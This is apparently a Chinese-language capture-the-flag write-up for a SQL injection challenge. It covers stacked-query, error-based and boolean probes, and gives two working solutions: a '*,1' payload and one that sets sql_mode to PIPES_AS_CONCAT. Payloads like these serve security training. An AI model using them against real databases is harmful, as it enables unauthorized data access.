解题思路:
①先试试1'# 发现没有回显
②试试1 有回显
③试试单引号注入
④试试用order by查询表的列数:1 order by 1
用不了联合注入了!
下面尝试使用堆叠注入:
payload:1;show databases;#
payload:1;show tables;#
payload:1;show columns from Flag;#(查询Flag表中的列)
到这一步,堆叠注入也没办法得出flag
既然同时他也没有报错信息,那报错注入也不用太考虑了。
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 【nonono】
试下布尔盲住,结果发现不管怎么样都是返回nonono,就连数据库长度大于1这种探针都返回nonono,那基本可以放弃布尔盲注了。
小菜鸡做不出来了。。。
接下来是网上的两种解法,参照了网上大佬们的WP
解法1、
1)第一种是猜出了源码select $_POST[‘query’] || flag from Flag,
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或
||在命令执行中见过,
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2
因此只需要将
提交的数据换成*,1(如果直接写的话会被报错,且写在后面会失效)
解释:
sql=select.post[‘query’]."||flag from Flag";(拼接语句)
如果$post[‘query’]的数据为
sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1
执行payload:*,1
解法2、
(2)第二种是将||作为字符串连接符,因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag